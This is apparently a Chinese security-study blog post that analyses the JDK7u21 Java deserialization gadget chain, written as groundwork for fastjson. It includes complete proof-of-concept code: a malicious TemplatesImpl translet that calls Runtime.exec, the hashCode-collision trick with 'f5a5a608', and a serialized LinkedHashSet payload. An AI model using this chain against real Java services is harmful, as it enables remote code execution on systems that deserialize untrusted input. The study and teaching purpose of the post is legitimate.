JDK7U21学习
前言
我们知道fastjson1.2.4版本的反序列化会用到这个链,但是这个漏洞的现在直接利用估计很难找到了,但是还是有很多值得学习的特性,所以来学习一下当做fastjson的前置知识。
漏洞分析
漏洞核心
本链核心点其实是在AnnotationInvocationHandler
类的equalsImpl
方法中invoke
方法
而 memberMethod
来自于this.type.getDeclaredMethods()
也就是说, equalsImpl
这个方法是将 this.type
类中的所有方法遍历并执行了。那么,假设this.type
是Templates类,则势必会调用到其中的 newTransformer()
或getOutputProperties()
方法,进而触发任意代码执行
那谁又调用了equalsImpl
学了CC1我们知道lazymap
调用get调用过这个类的invoke
方法,也就是动态代理,所以这里也就不在阐述,我们发现执行他是有一定的条件。
- 用的方法名是equals,并且为Object类型
所以可以写出一个POC
恶意类
public class HelloTemplatesImpl extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
public HelloTemplatesImpl() throws IOException, NoSuchMethodException, ClassNotFoundException, InvocationTargetException, IllegalAccessException, InterruptedException {
super();
// Thread.currentThread().sleep(10000L);
Runtime.getRuntime().exec("calc");
}
}
public class jdk7u21_test {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(HelloTemplatesImpl.class.getName()).toBytecode()
});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
Map map = new HashMap();
final Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
ctor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Templates.class,map);
Override proxy = (Override) Proxy.newProxyInstance(InvocationHandler.class.getClassLoader(),new Class[]{Override.class},invocationHandler);
proxy.equals(templates);
}
}
而一般调用用equals的场景就是集合set,因为他不允许重复,所以我们去看下Hashset
而hashset
会调用hashmap.put
方法
//这个key,就是我们传入的元素,value是一个固定值木有用。
public V put(K key, V value) {
//key不能为null
if (key == null)
return putForNullKey(value);
//计算key的hash值
int hash = hash(key) ;
int i = indexFor(hash, table.length);
// 遍历已有的元素
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
Object k;
//本意是判断最新的元素是否已经存在的元素
if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
//如果是已经存在的元素,就返回已经存在的value。不插入。
V oldValue = e.value;
e.value = value;
e.recordAccess(this);
return oldValue;
}
}
modCount++;
//如果不是已经存在的元素,就插入到table中
addEntry(hash, key, value, i);
return null;
}
所以我们只用看if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
这句语句。(e为前一个元素,key为当前元素)
如何做到让两个hash相等?我们查看下hash方法
final int hash(Object k) {
int h = 0;
if (useAltHashing) {
if (k instanceof String) {
return sun.misc.Hashing.stringHash32((String) k);
}
h = hashSeed;
}
h ^= k.hashCode();
//可以发现的是调用了hahscode
h ^= (h >>> 20) ^ (h >>> 12);
return h ^ (h >>> 7) ^ (h >>> 4);
}
但是有一个问题我们TemplatesImpl
类自实现hashcode
方法。那如何解决了,因为调用的时候也会进入invoke
方法
跟进这个方法
private int hashCodeImpl() {
int result = 0;
for (Map.Entry<String, Object> e : memberValues.entrySet()) {
result += (127 * e.getKey().hashCode()) ^
memberValueHashCode(e.getValue());
}
return result;
}
因为我们的目的是为了proxy和恶意类TemplatesImpl的hashcode相等嘛
而key和value我们是可控的,因为传入this.memberValues
正是我们的map,所以我们只需要可控的hashcode==0就可以,因为0 ^ n = n。也就是如下:
127 * 0 ^ TemplatesImpl的hashCode == TemplatesImpl的hashCode
关于非空字符串hashcode为0的一些研究:
https://stackoverflow.com/questions/18746394/can-a-non-empty-string-have-a-hashcode-of-zero
所以我们就可以直接构造出POC
public class jdk7u21 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(HelloTemplatesImpl.class.getName()).toBytecode()
});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
// 实例化一个map,并添加Magic Number为key,也就是f5a5a608,value先随便设置一个值
HashMap map = new HashMap();
map.put("f5a5a608", "foo");
// 实例化AnnotationInvocationHandler类
Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
handlerConstructor.setAccessible(true);
InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);
// 为tempHandler创造一层代理
Templates proxy = (Templates) Proxy.newProxyInstance(jdk7u21.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);
// 实例化HashSet,并将两个对象放进去
HashSet set = new LinkedHashSet();
set.add(templates);
set.add(proxy);
// 将恶意templates设置到map中
map.put("f5a5a608", templates);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(set);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
疑问
为什么我们要用LinkedHashSet
LinkedHashSet类继承自Hashset,具有Hashset的全部特点:元素不重复,快速查找,快速插入。新增的特性是有序,数据结构上使用双向链表实现
因为我们要满足proxy.equals(templates);
所以传参需要一个有序集合{templates,proxy}
才能满足proxy.equals(templates)
这一句触发语句,如果是普通集合就不一定会符合这个顺序。例如使用hashset
参考
p牛java漫谈
https://xz.aliyun.com/t/6884#toc-13
https://www.freebuf.com/vuls/175754.html